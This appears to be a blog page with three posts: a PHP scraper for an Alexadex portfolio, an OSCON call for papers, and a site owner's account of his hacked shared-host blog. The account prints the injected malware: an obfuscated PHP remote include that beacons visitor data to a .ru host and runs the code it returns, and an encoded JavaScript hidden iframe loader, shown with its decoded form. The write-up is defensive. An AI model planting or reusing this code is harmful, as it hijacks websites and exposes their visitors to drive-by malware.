Fun with Alexadex

In case you are not aware, Alexadex is a virtual stock market game, where the values of stocks depend on their Alexa reach ratings.

Because I have too much time on my hands, I wanted to track my portfolio value in the sidebar of my blog. Look over there somewhere —–> and you will probably see it.

In case it holds amusement value to somebody, here is the code. It relies on PHP and MySQL and just does some simple screen scraping.

The fact that this URL works:
http://alexadex.com/ad/api?&method=getQuote&url=lukewelling.com
hints that there might be an API to do this at some point, but for now, I am screen scraping. (url pulled from Cal Evans’ blog)

The database table looks like this:

CREATE TABLE alexadex (
  timestamp timestamp(14) NOT NULL,
  value int(11) NOT NULL default '0',
  PRIMARY KEY  (timestamp)
)

From a cron job I am running:

<?php
require('functions.php');

connectToDb();

$username = 'tangledweb';
$url = "http://alexadex.com/ad/user/$username";
$marker = 'total:</b></td><td align=right>$';

$current =  scrape( $url, $marker );
if($current!==false)
{
   echo "stored: ";
   storeCurrent($current);
}

echo $current;

?>


In case it is not obvious, my Alexadex username is tangledweb.

In my blog sidebar I have:

<?php
require('functions.php');
echo '<li><a href = "http://alexadex.com/ad/user/tangledweb"
      >My current portfolio is $';
$temp = getMostRecentFromDb();
echo number_format($temp['value']).'</a>';
?>

The functions these rely on are:

function storeCurrent($value)
{
 $value = intval($value);
 $sql = "INSERT
         INTO alexadex
         VALUES (NOW(), $value)";
  $result = mysql_query($sql);
}

function getMostRecentFromDb()
{
  $sql = "SELECT *
          FROM alexadex
          WHERE 1
          ORDER BY `timestamp` DESC
          LIMIT 1";

  $result = mysql_query($sql);

  return mysql_fetch_array($result);
}

function scrape($url, $marker, $maxLength = 50)
{
  $page = file_get_contents($url);
  if($page === false)
  {
    return false;
  }
  $pos = strpos($page, $marker);
  if($pos === false)
  {
    return false;
  }
  $value= substr($page, $pos + strlen($marker), $maxLength);
  $value= str_replace(',', '', $value);
  $value= intval($value);
  return $value;
}

function connectToDb()
{
  $connection = mysql_connect("host",
                              "user",
                              "pass");
  mysql_select_db("dbname", $connection);
}

This code comes with no warranty of any kind. You can have it as public domain, but I would appreciate a link to this blog if you use it. I hope it still works. WordPress seems to really, really want to mess with it when it saves it.

Spyware and popups close to home

It seems somebody, somewhere has a fine sense of irony. A few days ago I posted about a sleezy popup advertising vendor. Then on Sunday morning I looked at my blog to find that it has been altered and code has been inserted in numerous places to force downloads of a (presumably corrupt) WMF file from a website with a .ru extension.

My web host was really, really, remarkably useless, so I am a bit short on details. I think the most likely situation is that an automated script running somewhere on the shared web host was spidering from account to account and inserting its payload into files with .php or .html extensions wherever it found one writable by the webserver user.

There are a few obvious morals to this story.

  • There are scripts in the wild that target PHP sites on shared hosts. Be careful with yours.
  • Have as few files as possible writable by the webserver user on a shared host. I am sure you already knew this, but it can be hard because,
  • Writers of web apps, such as forums and blogs require you to have some files and directories writable, so if you are choosing such software for a shared host see if you can find ones that require as few writable files as possible, and
  • No matter how low your expectations are for the quality of support you expect from a crappy <$10 per month web host, it is always possible for those expectations to be exceeded.

If you have rarely checked stuff sitting on a shared host, it would be worth grepping for some distinctive code from that (perhaps “error_reporting(0)”) to make sure you are not in the same boat.

The whole situation of course serves to make Aussie Hero Dale Begg-Smith all the more lovable in my eyes. For anybody who does not understand why people hate these sort of business practices and the arseclowns that practice them, it is because they make their money at the expense of wasting other people’s time. I spent half of my Sunday cleaning up this mess, and still have a few more domains to fix now (Monday night).

In case anybody is curious, the code generally looked like this:

error_reporting(0);
$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
$n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".
base64_encode($g).".".base64_encode($h).".".base64_encode($n);
if((include_once(base64_decode("aHR0cDovLw==").
base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str)))
{}
else {
include_once(base64_decode("aHR0cDovLw==").
base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str);}

or


<script language="javascript" type="text/javascript">
var k='?gly#vw|oh@%ylvlelolw|=#klgghq>#srvlwlrq=#devroxwh>#ohiw=#4>#wrs=#4%A?liudph#vuf@ %kwws=22xvhu4<1liudph1ux2Bv@4%#iudpherughu@3#yvsdfh@3#kvsdfh@3#zlgwk@4#khljkw@ 4#pdujlqzlgwk@3#pdujlqkhljkw@3#vfuroolqj@qrA?2liudphA?2glyA',t=0,h='';
while(t<=k.length-1){h=h+String.fromCharCode(k.charCodeAt(t++)-3);}

which un-obsfucated is:
<div style="visibility: hidden; position: absolute; left: 1; top: 1"><iframe
src="http://user19.iframe.ru/?s=1" frameborder=0 vspace=0 hspace=0 width=1 height=1
marginwidth=0 marginheight=0 scrolling=no></iframe></div>

In one file I also found:

<a href = "http://mrsnebraskaamerica.com/catalog/images/sierra/hackmai-2.0.shtml" class=giepoaytr title="hackmai 2.0">hackmai 2.0</a>

There were also assorted files with generic sounding names created, like date.php and report.php and .htaccess files created or appended to to direct 404s to the new bogus files.

OSCON CFP Is Out

Save the dates–and send in your speaking proposals–for:

OSCON, the O’Reilly Open Source Convention
July 24-28 in Portland, Oregon http://conferences.oreilly.com/oscon/

and

EuroOSCON, the O’Reilly European Open Source Convention September 18-21 in Brussels, Belgium http://conferences.oreilly.com/eurooscon/

The Calls for Participation for both OSCON and EuroOSCON are now open, so send in your presentation proposal/s–and tell your friends and colleagues. February 13 is the speaking proposal deadline for OSCON; you have until March 6 to submit proposals for EuroOSCON.